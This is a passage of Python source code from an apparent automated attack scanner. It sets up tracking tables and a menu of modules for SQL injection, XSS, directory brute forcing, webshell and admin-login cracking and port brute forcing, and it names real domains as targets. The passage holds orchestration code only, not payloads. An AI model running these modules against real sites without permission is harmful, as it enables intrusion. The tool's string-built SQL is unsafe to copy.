                        execute_sql_in_db(sql_sub, DB_NAME)
                    else:
                        # domain是ip格式
                        if SCAN_WAY in [1, 2, 3]:
                            input(
                                "If the domain is ip format and SCAN_WAY is not 4,I will skip this target.Press any key to continue")
                            continue

                else:
                    print("SCAN_WAY setup error,not in 1-4")

                # 创建目标urls表.eg:www_baidu_com_urls
                target_urls_table_name = get_start_url_urls_table(start_url)
                sql = "create table `%s`(url varchar(250) not null primary key,code varchar(10) not null,\
title varchar(100) not null,content mediumtext not null,has_sqli varchar(50) not null,\
is_upload_url varchar(50) not null,\
like_webshell_url varchar(50) not null default 0,\
cracked_webshell_url_info varchar(50) not null,\
like_admin_login_url varchar(50) not null,\
cracked_admin_login_url_info varchar(50) not null,\
http_domain varchar(70) not null)" % target_urls_table_name
                execute_sql_in_db(sql, DB_NAME)

                if choose == 'y' or choose == 'Y':
                    sql3 = "insert into `%s`(start_url,http_domain,domain) values('%s','%s','%s') " % (
                        FIRST_TARGETS_TABLE_NAME, start_url, target, target.split("/")[-1])
                    execute_sql_in_db(sql3, DB_NAME)
                    set_scan_finished("pang_domains_sqli_scaned", DB_NAME,
                                      FIRST_TARGETS_TABLE_NAME, "start_url", start_url)
                    set_scan_finished("sub_domains_sqli_scaned", DB_NAME,
                                      FIRST_TARGETS_TABLE_NAME, "start_url", start_url)

                else:
                    sql3 = "insert into `%s`(start_url,http_domain,domain) values('%s','%s','%s')" % (
                        TARGETS_TABLE_NAME, start_url, target, target.split('/')[-1])
                    execute_sql_in_db(sql3, DB_NAME)
                    set_scan_finished(
                        "pang_domains_sqli_scaned", DB_NAME, TARGETS_TABLE_NAME, "start_url", start_url)
                    set_scan_finished(
                        "sub_domains_sqli_scaned", DB_NAME, TARGETS_TABLE_NAME, "start_url", start_url)

                continue
            elif start_url != 'd' and start_url != 'D' and re.match(r"http.*", start_url, re.I) is None:
                print("please input http(s)://... or d or D")
                continue
            else:
                break

    else:
        print("I will use the exisit targets in the db for scan job")
        pass

    print('''There are below 15 kinds of scan module:
1.cdn scan(check and find out actual ip behind cdn,it's a base for 2)
2.pang domains scan(get the pang domains of the targets,is based on 1)
3.sub domains scan(get the sub domains of the targets)
4.crawl scan(crawl the target,it's a base for 8 and 12 and 13,it's a base for 6)
5.port scan(scan the targets' port,it's a base for 6 and 14)
6.high rish scan(check if the targets has high risk vul,is based on 4 and 5)
7.sqli scan(check if the targets has sql injection vul)
8.xss scan(check if the targets has xss vul,is based on 4)
9.script type scan(try to find out the targets' script type[php,asp,aspx,jsp])
10.dirb scan(brute force scan the targets' dirs and files,it's a base for 12 and 13)
11.cms scan(findout the targets' cms type[joomla,wordpress,ecshop,...])
12.crack webshell scan(try to find the exists webshell on targets site and try to crack it,is based on 4 and 10)
13.crack admin page scan(try to find the targets' admin login page and try to crack it,is based on 4 and 10)
14.port brute crack scan(try to brute force crack the common open port,is based on 5)
15.whois scan(get the targets' whois info)''')

    print(
        '''Do you want my choosing to scan all of them by default,if you have special needs(eg.scan sqli vuls alone,etc) please input n|N , default[n]''')
    choose_scan_strategy = get_input_intime('n')
    # print("\n")
    if choose_scan_strategy == 'Y' or choose_scan_strategy == 'y':
        set_column_name_scan_module_unfinished("cdn_scaned", SCAN_WAY)
        sql_list = []
        tmp_sql = "update %s set get_pang_domains_finished='0'" % FIRST_TARGETS_TABLE_NAME
        tmp_sql = "update %s set get_pang_domains_finished='0'" % TARGETS_TABLE_NAME
        for each in sql_list:
            execute_sql_in_db(each, DB_NAME)
        sql_list = []
        tmp_sql = "update %s set get_sub_domains_finished='0'" % FIRST_TARGETS_TABLE_NAME
        tmp_sql = "update %s set get_sub_domains_finished='0'" % TARGETS_TABLE_NAME
        for each in sql_list:
            execute_sql_in_db(each, DB_NAME)
        set_column_name_scan_module_unfinished("crawl_scaned", SCAN_WAY)
        set_column_name_scan_module_unfinished("port_scaned", SCAN_WAY)
        set_column_name_scan_module_unfinished("risk_scaned", SCAN_WAY)
        set_column_name_scan_module_unfinished("sqli_scaned", SCAN_WAY)
        set_column_name_scan_module_unfinished("xss_scaned", SCAN_WAY)
        set_column_name_scan_module_unfinished("script_type_scaned", SCAN_WAY)
        set_column_name_scan_module_unfinished("dirb_scaned", SCAN_WAY)
        set_column_name_scan_module_unfinished("cms_scaned", SCAN_WAY)
        set_column_name_scan_module_unfinished(
            "crack_webshell_scaned", SCAN_WAY)
        set_column_name_scan_module_unfinished(
            "crack_admin_page_scaned", SCAN_WAY)
        set_column_name_scan_module_unfinished(
            "port_brute_crack_scaned", SCAN_WAY)
        set_column_name_scan_module_unfinished("whois_scaned", SCAN_WAY)

    else:
        while True:
            print('''Please input your selections on upon 15 scan modules,use blank to separate them.
eg:
1 2
4 8
4 10 12
4 10 13
5 14
4 5 6
5
Attention:

|--->advice items<---|
a.if you have choosed 6,then you'd better have choosed 4 and 5

|--->must items<---|
a.if you have choosed 2,then you must have choosed 1
b.if you have choosed 8,then you must have choosed 4
c.if you have choosed 12,then you must have choosed 4 and 10
d.if you have choosed 13,then you must have choosed 4 and 10
e.if you have choosed 14,then you must have choosed 5
''')
            should_continue = 0
            selections = input("your choose:")
            selections_list = re.split("\s+", selections)
            if '2' in selections_list and ('1' not in selections_list):
                print("if you have choosed 2,then you must have choosed 1")
                should_continue = 1
            if '8' in selections_list and ('4' not in selections_list):
                print("if you have choosed 8,then you must have choosed 4")
                should_continue = 1
            if '12' in selections_list and ('4' not in selections_list or '10' not in selections_list):
                print("if you have choosed 12,then you must have choosed 4 and 10")
                should_continue = 1
            if '13' in selections_list and ('4' not in selections_list or '10' not in selections_list):
                print("if you have choosed 13,then you must have choosed 4 and 10")
                should_continue = 1
            if '14' in selections_list and ('5' not in selections_list):
                print("if you have choosed 14,then you must have choosed 5")
                should_continue = 1

            if should_continue == 1:
                continue
            break
        if '1' in selections_list:
            set_column_name_scan_module_unfinished("cdn_scaned", SCAN_WAY)

        if '2' in selections_list or SCAN_WAY in [1, 3]:
            tmp_sql = "update %s set get_pang_domains_finished='0'" % FIRST_TARGETS_TABLE_NAME
            execute_sql_in_db(tmp_sql, DB_NAME)
            tmp_sql = "update %s set get_pang_domains_finished='0'" % TARGETS_TABLE_NAME
            execute_sql_in_db(tmp_sql, DB_NAME)

        if '3' in selections_list or SCAN_WAY in [2, 3]:
            tmp_sql = "update %s set get_sub_domains_finished='0'" % FIRST_TARGETS_TABLE_NAME
            execute_sql_in_db(tmp_sql, DB_NAME)
            tmp_sql = "update %s set get_sub_domains_finished='0'" % TARGETS_TABLE_NAME
            execute_sql_in_db(tmp_sql, DB_NAME)

        if '4' in selections_list:
            set_column_name_scan_module_unfinished("crawl_scaned", SCAN_WAY)

        if '5' in selections_list:
            set_column_name_scan_module_unfinished("port_scaned", SCAN_WAY)

        if '6' in selections_list:
            set_column_name_scan_module_unfinished("risk_scaned", SCAN_WAY)

        if '7' in selections_list:
            set_column_name_scan_module_unfinished("sqli_scaned", SCAN_WAY)
        if '8' in selections_list:
            set_column_name_scan_module_unfinished("xss_scaned", SCAN_WAY)
        if '9' in selections_list:
            set_column_name_scan_module_unfinished(
                "script_type_scaned", SCAN_WAY)
        if '10' in selections_list:
            set_column_name_scan_module_unfinished("dirb_scaned", SCAN_WAY)
        if '11' in selections_list:
            set_column_name_scan_module_unfinished("cms_scaned", SCAN_WAY)
        if '12' in selections_list:
            set_column_name_scan_module_unfinished(
                "crack_webshell_scaned", SCAN_WAY)
        if '13' in selections_list:
            set_column_name_scan_module_unfinished(
                "crack_admin_page_scaned", SCAN_WAY)
        if '14' in selections_list:
            set_column_name_scan_module_unfinished(
                "port_brute_crack_scaned", SCAN_WAY)
        if '15' in selections_list:
            set_column_name_scan_module_unfinished("whois_scaned", SCAN_WAY)


def set_column_name_scan_module_unfinished(column_name, scan_way):
    # set the scan module which has column_name to be unfinished
    # eg,column_name="cdn_scaned"
    global DB_NAME
    sql_list = []

    tmp_sql = "update %s set %s='0'" % ("first_targets", column_name)
    sql_list.append(tmp_sql)
    tmp_sql = "update %s set %s='0'" % ("targets", column_name)
    sql_list.append(tmp_sql)
    tmp_sql = "update %s set pang_domains_%s='0'" % (
        "first_targets", column_name)
    sql_list.append(tmp_sql)
    tmp_sql = "update %s set pang_domains_%s='0'" % ("targets", column_name)
    sql_list.append(tmp_sql)
    tmp_sql = "update %s set sub_domains_%s='0'" % (
        "first_targets", column_name)
    sql_list.append(tmp_sql)
    tmp_sql = "update %s set sub_domains_%s='0'" % ("targets", column_name)
    sql_list.append(tmp_sql)
    for each in sql_list:
        execute_sql_in_db(each, DB_NAME)

    if scan_way in [1, 3]:
        tmp_sql = "select table_name from information_schema.tables where table_schema='exp10itdb' and table_name regexp '.*_pang$'"
        result = execute_sql_in_db(tmp_sql, DB_NAME)
        if len(result) > 0:
            for each in result:
                each_table = each[0]
                tmp_sql = "update %s set %s='0'" % (each_table, column_name)
                execute_sql_in_db(tmp_sql, DB_NAME)

    if scan_way in [2, 3]:
        tmp_sql = "select table_name from information_schema.tables where table_schema='exp10itdb' and table_name regexp '.*_sub$'"
        result = execute_sql_in_db(tmp_sql, DB_NAME)
        if len(result) > 0:
            for each in result:
                each_table = each[0]
                tmp_sql = "update %s set %s='0'" % (each_table, column_name)
                execute_sql_in_db(tmp_sql, DB_NAME)


def get_one_target_from_db(db, target_table):
    # 从数据库db中的target表中按优先级取出目标
    global SCAN_WAY
    if SCAN_WAY == 1:
        sql = "select start_url from `%s` where scan_finished='0' or pang_domains_scan_finished='0' limit 1" \
            % target_table
    elif SCAN_WAY == 2:
        sql = "select start_url from `%s` where scan_finished='0' or sub_domains_scan_finished='0' limit 1" \
            % target_table
    elif SCAN_WAY == 3:
        sql = "select start_url from % s where scan_finished = '0' or pang_domains_scan_finished = '0' or \
sub_domains_scan_finished = '0' limit 1" % target_table
    elif SCAN_WAY == 4:
        sql = "select start_url from `%s` where scan_finished='0' limit 1" % target_table
    else:
        print("eval(get_key_value_from_config_file(CONFIG_INI_PATH,'default','scan_way')) error in get_one_target_from_db func")
    result = execute_sql_in_db(sql, db)
    if len(result) > 0:
        return result[0][0]
    else:
        # result will be ()
        return None


def set_scan_finished(scaned_column_name, db, table, column_name, column_value):
    # 设置相应的扫描完成列值为1代表扫描完成,参数意义同上一个函数
    sql = "update `%s` set %s='%s' where %s='%s'" % (
        table, scaned_column_name, str(1), column_name, column_value)
    execute_sql_in_db(sql, db)


def set_scan_unfinished(scaned_column_name, db, table, column_name, column_value):
    # 设置相应的扫描完成列值为1代表扫描完成,参数意义同上一个函数
    sql = "update `%s` set %s='%s' where %s='%s'" % (
        table, scaned_column_name, str(0), column_name, column_value)
    execute_sql_in_db(sql, db)


def get_main_target_table_name(target):
    # 返回targets或first_targets
    # 得到主要目标的数据库中所在表的名字,结果为eval(get_key_value_from_config_file(CONFIG_INI_PATH,'default','TARGETS_TABLE_NAME'))或eval(get_key_value_from_config_file(CONFIG_INI_PATH,'default','FIRST_TARGETS_TABLE_NAME'))
    # 由于主要目标存放在eval(get_key_value_from_config_file(CONFIG_INI_PATH,'default','TARGETS_TABLE_NAME'))或eval(get_key_value_from_config_file(CONFIG_INI_PATH,'default','FIRST_TARGETS_TABLE_NAME'))当中,所以这样检测
    # target可为domain或http domain格式
    global DB_NAME
    global TARGETS_TABLE_NAME
    global FIRST_TARGETS_TABLE_NAME
    if target[:4] == "http":
        domain = urlparse(target).hostname
    else:
        input("error here,check your code,make sure target start with http")
        import sys
        sys.exit(1)
    result1 = execute_sql_in_db(
        "select * from `%s` where domain='%s'" % (TARGETS_TABLE_NAME, domain), DB_NAME)
    result2 = execute_sql_in_db(
        "select * from `%s` where domain='%s'" % (FIRST_TARGETS_TABLE_NAME, domain), DB_NAME)
    if len(result1) > 0:
        return TARGETS_TABLE_NAME
    elif len(result2) > 0:
        return FIRST_TARGETS_TABLE_NAME
    else:
        print("get_main_target_table_name error,check your select code")
        pdb.set_trace()


def get_source_main_target_domain_of_pang_url(url):
    # 得到旁站所属的doamin
    global DB_NAME
    result = execute_sql_in_db("show tables", DB_NAME)
    for each in result:
        if each[0][-5:] == "_pang":
            result = execute_sql_in_db(
                "select http_domain from `%s`" % each[0], DB_NAME)
            if len(result) > 0:
                for each_http_domain in result:
                    if each_http_domain[0] == get_http_domain_from_url(url):
                        return each[0][:-5].replace("_", ".")
            else:
                print(
                    "get_source_main_target_domain_of_pang_url can not get any main target")
                pass
    return None


def get_source_main_target_domain_of_sub_url(url):
    # 得到子站url对应的主要目标的域名
    # eg.得到http://wit.freebuf.com/1.php对应的结果为数据库中的www.freebuf.com
    # 返回一个字典,eg.{'domain':'www.freebuf.com','http_domain':'http_domain':'http://www.freebuf.com'}
    global DB_NAME
    global FIRST_TARGETS_TABLE_NAME
    global TARGETS_TABLE_NAME

    http_domain = get_http_domain_from_url(url)
    result1 = execute_sql_in_db(
        "select domain from `%s`" % TARGETS_TABLE_NAME, DB_NAME)
    if len(result1) > 0:
        for each in result1:
            if get_root_domain(each[0]) == get_root_domain(http_domain):
                # 返回的domain值
                return_domain = each[0]
                result1 = execute_sql_in_db("select http_domain from `%s` where domain='%s'" % (
                    TARGETS_TABLE_NAME, return_domain), DB_NAME)
                if len(result1) > 0:
                    return_http_domain = result1[0][0]
                    return {'domain': return_domain, 'http_domain': return_http_domain}

    result2 = execute_sql_in_db(
        "select domain from `%s`" % FIRST_TARGETS_TABLE_NAME, DB_NAME)
    if len(result2) > 0:
        for each in result2:
            if get_root_domain(each[0]) == get_root_domain(http_domain):
                # 返回的domain值
                return_domain = each[0]
                result2 = execute_sql_in_db("select http_domain from `%s` where domain='%s'" % (
                    FIRST_TARGETS_TABLE_NAME, return_domain), DB_NAME)
                if len(result2) > 0:
                    return_http_domain = result2[0][0]
                    return {'domain': return_domain, 'http_domain': return_http_domain}

    print("get_source_main_target_domain_of_sub_url func can not find the result in database")
    return None


def get_url_belong_main_target_domain(url):
    # 结合get_source_main_target_domain_of_pang_url和get_source_main_target_domain_of_sub_url函数得到当前url所属
    # 的主目标的域名,如得到http://wit.freebuf.com/1.php的所属主目标为www.freebuf.com
    flag1 = False
    flag2 = False
    sql = "select * from %s where start_url='%s'" % (TARGETS_TABLE_NAME, url)
    result = execute_sql_in_db(sql, DB_NAME)
    if len(result) > 0:
        return get_http_domain_from_url(url).split("/")[-1]
    sql = "select * from %s where start_url='%s'" % (
        FIRST_TARGETS_TABLE_NAME, url)
    result = execute_sql_in_db(sql, DB_NAME)
    if len(result) > 0:
        return get_http_domain_from_url(url).split("/")[-1]
    tmp = get_source_main_target_domain_of_sub_url(url)
    if tmp is None:
        flag1 = True
    else:
        sub_main = tmp['domain']
    if not flag1 and sub_main is not None:
        return sub_main
    else:
        pang_main = get_source_main_target_domain_of_pang_url(url)
        if pang_main is not None:
            return pang_main
        else:
            flag2 = True
    if flag1 and flag2:
        return None


def get_target_table_name_list(start_url):
    # 得到target所在的表名,检索的表包括targets,first_targets,xxx_pang,xxx_sub
    # 返回一个列表,如果target是主要目标,则该列表中只有一个表名,targets或是first_targets
    # 如果target是子站或旁站且该子站如wit.freebuf.com既是子站又是旁站值,则返回的列表中有两个表名,xxx_pang和
    # xxx_sub
    global DB_NAME
    target = get_http_domain_from_url(start_url)
    # url属于哪个主目标(非旁站子站的那个目标)
    # 如http://wit.freebuf.com得到www.freebuf.com
    url_main_target = [get_url_belong_main_target_domain(start_url)]
    # eg.www_freebuf_com_pang
    url_main_target_pang_table_name = url_main_target[0].replace(
        ".", "_") + "_pang"
    # eg.www_freebuf_com_sub
    url_main_target_sub_table_name = url_main_target[0].replace(
        ".", "_") + "_sub"
    current_not_main_target_table_name = []
    if url_main_target[0] == get_http_domain_from_url(target).split('/')[-1]:
        # 说明该url是目标url，不是目标的某个旁站或子站url
        table_name = [
            get_main_target_table_name(
                get_http_domain_from_url(target))]
        return_value = table_name
    else:
        if exist_table_in_db(url_main_target_pang_table_name, DB_NAME):
            result1 = execute_sql_in_db(
                "select * from `%s` where http_domain='%s'" %
                (url_main_target_pang_table_name,
                 get_http_domain_from_url(target)), DB_NAME)
            if len(result1) > 0:
                current_not_main_target_table_name.append(
                    url_main_target_pang_table_name)
        if exist_table_in_db(url_main_target_sub_table_name, DB_NAME):
            result2 = execute_sql_in_db(
                "select * from `%s` where http_domain='%s'" %
                (url_main_target_sub_table_name,
                 get_http_domain_from_url(target)), DB_NAME)
            if len(result2) > 0:
                current_not_main_target_table_name.append(
                    url_main_target_sub_table_name)
        return_value = current_not_main_target_table_name
        # 有种情况下,非主要目标的url存储信息的表在主要目标的旁站表和子站表中都存在,
        # 也即该url既是旁站url又是子站url,eg.wit.freebuf.com既是旁站又是子站
    return return_value


def get_target_table_name_info(target):
    # 得到target是主要目标还是旁站或子站
    # 返回值如下
    # 'target_is_main_and_table_is_targets':target_is_main_and_table_is_targets,
    # 'target_is_main_and_table_is_first_targets':target_is_main_and_table_is_first_targets,
    # 'target_is_pang_and_sub':target_is_pang_and_sub,
    # 'target_is_only_pang':target_is_only_pang,
    # 'target_is_only_sub':target_is_only_sub,
    # 'target_is_main':target_is_main_target,
    # 'target_is_pang_or_sub':target_is_pang_or_sub
    target_is_main_and_table_is_targets = False
    target_is_main_and_table_is_first_targets = False
    target_is_pang_and_sub = False
    target_is_only_pang = False
    target_is_only_sub = False

    table_name_list = get_target_table_name_list(target)
    target_is_pang_domain = False
    target_is_sub_domain = False
    target_is_pang_and_sub = False
    target_is_main = False
    target_is_pang_or_sub = False

    for each_table in table_name_list:
        if each_table[-5:] == "_pang":
            target_is_pang_domain = True
            # pang_table_name = each_table[-5:]
        if each_table[-4:] == "_sub":
            target_is_sub_domain = True
            # sub_table_name = each_table[-4:]
    if target_is_pang_domain and target_is_sub_domain:
        # target既是旁站又是子站
        target_is_pang_and_sub = True

    if not target_is_pang_domain and not target_is_sub_domain:
        # 这时target为主要目标
        if target == "http://m.pingan.com/":
            input(78787878)
            # pdb.set_trace()
        if get_main_target_table_name(target) == "targets":
            target_is_main_and_table_is_targets = True
        elif get_main_target_table_name(target) == "first_targets":
            target_is_main_and_table_is_first_targets = True
        else:
            # not pang,not sub,not targets,not first_targets
            pass

    if target_is_pang_domain and not target_is_pang_and_sub:
        # 这时target为旁站不是子站
        target_is_only_pang = True
    if target_is_sub_domain and not target_is_pang_and_sub:
        # 这时target为子站不是旁站
        target_is_only_sub = True
    if target_is_main_and_table_is_targets or target_is_main_and_table_is_first_targets:
        target_is_main = True
    else:
        target_is_pang_or_sub = True
    return {
        'target_is_main_and_table_is_targets': target_is_main_and_table_is_targets,
        'target_is_main_and_table_is_first_targets': target_is_main_and_table_is_first_targets,
        'target_is_pang_and_sub': target_is_pang_and_sub,
        'target_is_only_pang': target_is_only_pang,
        'target_is_only_sub': target_is_only_sub,
        'target_is_main': target_is_main,
        'target_is_pang_or_sub': target_is_pang_or_sub
    }


def get_target_urls_from_db(target, db):
    # 从数据库中得到一个目标爬完虫后的的urls,返回结果是个列表
    # tareget可以是主要目标或者主要目标的旁站或子站
    if target[:4] != "http":
        input("error,target must start with http or https")
    import re
    return_list = []
    target = re.sub(r"/+$", "", target)
    domain = target.split("/")[-1]
    urls_table_name = domain.replace(".", "_") + "_urls"
    if exist_table_in_db(urls_table_name, db):
        a = execute_sql_in_db("select url from %s" % (urls_table_name), db)
        for each in a:
            each_url = each[0]
            return_list.append(each_url)
    return return_list


def get_column_value_from_main_target_table():
    pass


def get_scan_finished(scaned_column_name, db, table, column_name, column_value):
    # 检测扫描是否完成,返回结果为0或1,0代表没有扫描完,1代表扫描完成
    # scaned_column_name代表对应是否扫描完的字段
    # http_domain_value为表的主键值,http_domain列对应的值
    sql = "select %s from `%s` where %s='%s'" % (
        scaned_column_name, table, column_name, column_value)
    result = execute_sql_in_db(sql, db)
    # print("here sql is:")
    # print(sql)
    if len(result) > 0:
        if result[0][0] == '1':
            return 1
    return 0


class MyScanner(object):

    def __init__(self, start_url, single_xxx_scan):
        global SCAN_WAY
        xxx_value = single_xxx_scan.__name__[7:-5]
        # target=get_http_domain_from_url(start_url)
        target = start_url
        # 根据SCAN_WAY的值对target进行脚本类型识别扫描
        main_target_table_name = get_main_target_table_name(start_url)
        http_domain_xxx_scaned = get_scan_finished(
            xxx_value + "_scaned", DB_NAME,
            main_target_table_name, "start_url", start_url)
        pang_domains_xxx_scaned = get_scan_finished(
            "pang_domains_" + xxx_value + "_scaned",
            DB_NAME,
            main_target_table_name, "start_url",
            start_url)
        sub_domains_xxx_scaned = get_scan_finished(
            "sub_domains_" + xxx_value + "_scaned",
            DB_NAME,
            main_target_table_name, "start_url",
            start_url)
        if http_domain_xxx_scaned == 1 and pang_domains_xxx_scaned == 1 and sub_domains_xxx_scaned == 1:
            return
        else:
            if http_domain_xxx_scaned == 0:
                single_xxx_scan(target)
                set_scan_finished(
                    xxx_value + "_scaned",
                    DB_NAME,
                    main_target_table_name, "start_url",
                    start_url)

            elif http_domain_xxx_scaned == 1:
                print("main target %s scaned" % xxx_value)
                pass
            else:
                print("get_scan_finished error in %s func" %
                      single_xxx_scan.__name__)
            if SCAN_WAY == 1:
                if pang_domains_xxx_scaned == 1:
                    return
                # 从数据库中获取target的旁站列表
                sql = "select http_domain from `%s`" % (
                    target.split("/")[-1].replace(".", "_") + "_pang")
                result = execute_sql_in_db(
                    sql, DB_NAME)
                if len(result) > 0:
                    for each in result:
                        if each[0] != "":
                            xxx_scaned = get_scan_finished(xxx_value + "_scaned", DB_NAME, target.split(
                                "/")[-1].replace(".", "_") + "_pang", "http_domain", each[0])
                            if xxx_scaned == 0:
                                single_xxx_scan(each[0])
                                set_scan_finished(xxx_value + "_scaned", DB_NAME, target.split(
                                    "/")[-1].replace(".", "_") + "_pang", "http_domain", each[0])

                        else:
                            print(
                                "%s func's each[0] error in SCAN_WAY 1" % single_xxx_scan.__name__)
                else:
                    print("%s func's %s error or target has no pang domains" %
                          (single_xxx_scan.__name__, sql))

                set_scan_finished(
                    "pang_domains_" + xxx_value + "_scaned",
                    DB_NAME,
                    main_target_table_name, "start_url",
                    start_url)

            elif SCAN_WAY == 2:
                if sub_domains_xxx_scaned == 1:
                    return
                # 从数据库中获取target的子站列表
                sql = "select http_domain from `%s`" % (
                    target.split("/")[-1].replace(".", "_") + "_sub")
                result = execute_sql_in_db(
                    sql, DB_NAME)
                if len(result) > 0:
                    for each in result:
                        if each[0] != "":
                            xxx_scaned = get_scan_finished(xxx_value + "_scaned", DB_NAME, target.split(
                                "/")[-1].replace(".", "_") + "_sub", "http_domain", each[0])
                            if xxx_scaned == 0:
                                single_xxx_scan(each[0])
                                set_scan_finished(xxx_value + "_scaned", DB_NAME, target.split(
                                    "/")[-1].replace(".", "_") + "_sub", "http_domain", each[0])

                        else:
                            print(
                                "%s func's each[0] error in SCAN_WAY 2" % single_xxx_scan.__name__)
                else:
                    print("%s func's %s error or target has no sub domains " %
                          (single_xxx_scan.__name__, sql))

                set_scan_finished(
                    "sub_domains_" + xxx_value + "_scaned",
                    DB_NAME,
                    main_target_table_name, "start_url",
                    start_url)

            elif SCAN_WAY == 3:
                # 从数据库中获取target的旁站和子站列表,如果旁站中和子站中有相同的http_domain值
                # 也即有某个如wit.freebuf.com的url即是www.freebuf.com的旁站又是它的子站,则只在旁站中爬虫一次相同的
                # domain(wit.freebuf.com),子站中不再重复爬虫同一个domain(wit.freebuf.com)

                # 从数据库中获取target的旁站列表
                if pang_domains_xxx_scaned == 1 and sub_domains_xxx_scaned == 1:
                    return
                pang_list = []
                sql = "select http_domain from `%s`" % (
                    target.split("/")[-1].replace(".", "_") + "_pang")
                result = execute_sql_in_db(
                    sql, DB_NAME)
                if len(result) > 0:
                    for each in result:
                        if each[0] != "":
                            pang_list.append(each[0])
                            xxx_scaned = get_scan_finished("script_type_scaned", DB_NAME, target.split(
                                "/")[-1].replace(".", "_") + "_pang", "http_domain", each[0])
                            if xxx_scaned == 0:
                                single_xxx_scan(each[0])
                                set_scan_finished(xxx_value + "_scaned", DB_NAME, target.split(
                                    "/")[-1].replace(".", "_") + "_pang", "http_domain", each[0])

                        else:
                            print(
                                "%s func's each[0] error in SCAN_WAY 3" % single_xxx_scan.__name__)
                else:
                    print("%s func's %s error or target has no pang domains" %
                          (single_xxx_scan.__name__, sql))

                set_scan_finished(
                    "pang_domains_" + xxx_value + "_scaned",
                    DB_NAME,
                    main_target_table_name, "start_url",
                    start_url)

                # 从数据库中获取target的子站列表并对没有在旁站中出现的http domain爬虫
                sql = "select http_domain from `%s`" % (
                    target.split("/")[-1].replace(".", "_") + "_sub")
                result = execute_sql_in_db(
                    sql, DB_NAME)
                if len(result) > 0:
                    for each in result:
                        if each[0] != "" and each[0] not in pang_list:
                            xxx_scaned = get_scan_finished(xxx_value + "_scaned", DB_NAME, target.split(
                                "/")[-1].replace(".", "_") + "_sub", "http_domain", each[0])
                            if xxx_scaned == 0:
                                single_xxx_scan(each[0])
                                set_scan_finished(xxx_value + "_scaned", DB_NAME, target.split(
                                    "/")[-1].replace(".", "_") + "_sub", "http_domain", each[0])

                        elif each[0] in pang_list:
                            print(
                                "%s is pang domain and sub domain and will not script type scan in sub domain \
table since it has script type scanned in pang domain table" %
                                each[0])
                        else:
                            print(
                                "%s func's each[0] error in SCAN_WAY 3" % single_xxx_scan.__name__)
                else:
                    print("%s func's %s error or target has no sub domains" %
                          (single_xxx_scan.__name__, sql))

                set_scan_finished(
                    "sub_domains_" + xxx_value + "_scaned",
                    DB_NAME,
                    main_target_table_name, "start_url",
                    start_url)

            elif SCAN_WAY == 4:
                pass
            else:
                print("SCAN_WAY error in %s" % single_xxx_scan)


def get_url_start_url(url):
    # eg. url=http://www.baidu.com/cms/laal.jsp
    # there are [http://www.baidu.com] and
    # [http://www.baidu.com/cms] in config.ini
    # in this case ,it should return http://www.baidu.com/cms
    if "http://" in url:
        url_a = url.replace("http://", "https://")
    elif "https://" in url:
        url_a = url.replace("https://", "http://")

    if not os.path.exists(CONFIG_INI_PATH):
        return ""
    with open(CONFIG_INI_PATH, "r") as f:
        content = f.read()
    a = re.findall(r"\[(http.+)\]\n", content)
    match_list = []
    if len(a) > 0:
        for each in a:
            if each in url or each in url_a:
                match_list.append(each)
        if len(match_list) > 0:
            max_len = 0
            for each in match_list:
                if len(each) >= max_len:
                    max_len = len(each)
                    max_url = each
        else:
            for each in a:
                if urlparse(each).netloc == urlparse(url).netloc:
                    max_url = each
    return max_url


def write_string_to_sql(
        string,
        db_name,
        table_name,
        column_name,
        table_primary_key,
        table_primary_key_value):
    # eg.write_string_to_sql("lll","exp10itdb","targets","scan_result","http_domain","https://www.baidu.com")
    # eg.write_string_to_sql(1,"exp10itdb","urls","cracked_admin_login_url","url",current_url)
    # 将string写入数据库
    # argv[1]:要写入的string
    # argv[2]:操作的数据库名
    # argv[3]:操作的表名
    # argv[4]:操作的列名
    # argv[5]:表的主键,默认为''(空)
    # argv[6]:表的主键值,默认为''(空)

    global DB_SERVER
    global DB_USER
    global DB_PASS
    global TARGETS_TABLE_NAME
    global FIRST_TARGETS_TABLE_NAME
    string = str(string)
    try:
        import MySQLdb
    except:
        # for ubuntu16.04 deal with install MySQLdb error
        os.system("apt-get -y install libmysqlclient-dev")
        os.system("easy_install MySQL-python")
        os.system("pip3 install MySQLdb")
        import MySQLdb

    try:
        conn = MySQLdb.connect(
            DB_SERVER,
            DB_USER,
            DB_PASS,
            db=db_name,
            port=3306,
            charset="utf8")
        conn.autocommit(1)
        cur = conn.cursor()
        cur.execute('SET NAMES utf8')

        sql0 = "select * from `%s` where %s='%s'" % \
            (table_name, table_primary_key,
             MySQLdb.escape_string(table_primary_key_value))
        # print(sql0)
        cur.execute(sql0)
        result = cur.fetchone()
        if result is None:
            insert_new_http_domain = "replace into `%s`(%s) values('%s')" % (
                table_name, table_primary_key, MySQLdb.escape_string(str(table_primary_key_value)))
            cur.execute(insert_new_http_domain)
            # insert动作要commit,select的查询动作不用commit,execute就可以得到结果,可以最后再commit
            # conn.commit()
            strings_to_write = string
        else:
            # dec is a key word in mysql,so we should add `` here
            sql1 = "select %s from `%s` where %s='%s'" % (
                column_name, table_name, table_primary_key, MySQLdb.escape_string(table_primary_key_value))
            # print sql1
            cur.execute(sql1)
            data = cur.fetchone()
            if data[0] == '':
                strings_to_write = string
            else:
                strings_to_write = data[0] + '\r\n' + string

        if ((table_name == TARGETS_TABLE_NAME or table_name == FIRST_TARGETS_TABLE_NAME or table_name[-5:] == "_pang") and column_name == "http_domain") or (table_name[-5:] == "_urls" and column_name == "url"):
            pass
        else:
            sql2 = "update `%s` set %s='%s' where %s='%s'" % \
                (table_name, column_name, MySQLdb.escape_string(strings_to_write), table_primary_key,
                 MySQLdb.escape_string(table_primary_key_value))
            # print sql2
            cur.execute(sql2)
            # print sql2
            conn.commit()

    except:
        import traceback
        traceback.print_exc()
        # 发生错误回滚
        conn.rollback()
    finally:
        cur.close()
        conn.close()


def single_cdn_scan(target):
    # 扫描cdn情况,如果有cdn则尝试获取真实ip
    # target可以是主要目标或是主要目标的旁站或子站,但是扫描器中第1次运行single_cdn_scan并没有运行到找旁站和
    # 子站的模块,这时target只可能是主要目标,扫描器中第2次运行single_cdn_scan时在获取子站之后,此时主要实际用于针
    # 对子站进行cdn识别
    global DB_NAME
    table_name_list = get_target_table_name_list(target)
    target_info = get_target_table_name_info(target)
    column_name = "http_domain" if target_info['target_is_pang_or_sub'] else "start_url"
    if 1 == get_scan_finished(
        "cdn_scaned",
        DB_NAME,
        table_name_list[0],
        column_name,
            target):
        return
    else:
        pass
    if target[:4] != "http":
        print("error,target should be like http(s)://xxx.xxx.xxx here")
        return
    domain = target.split("/")[-1]

    target_is_pang_domain = False
    target_is_sub_domain = False
    target_is_pang_and_sub = False
    for each_table in table_name_list:
